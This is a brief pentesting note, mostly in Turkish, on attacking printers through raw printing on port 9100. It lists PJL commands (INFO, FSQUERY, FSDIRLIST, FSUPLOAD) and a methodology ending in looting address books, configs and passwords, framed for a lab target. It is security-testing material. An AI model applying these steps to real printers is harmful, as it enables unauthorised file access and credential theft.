9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)

PJL print

Raw print (9100) PJL komutları kabul eder. FSQUERY ve password dump bazı yazıcılarda mümkündür. Hedef lab IP’si üzerinde komutları 9100 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 9100 doğrula.

2. PJL INFO.

3. FSDIRLIST / FSUPLOAD.

4. Adres defteri / config loot.
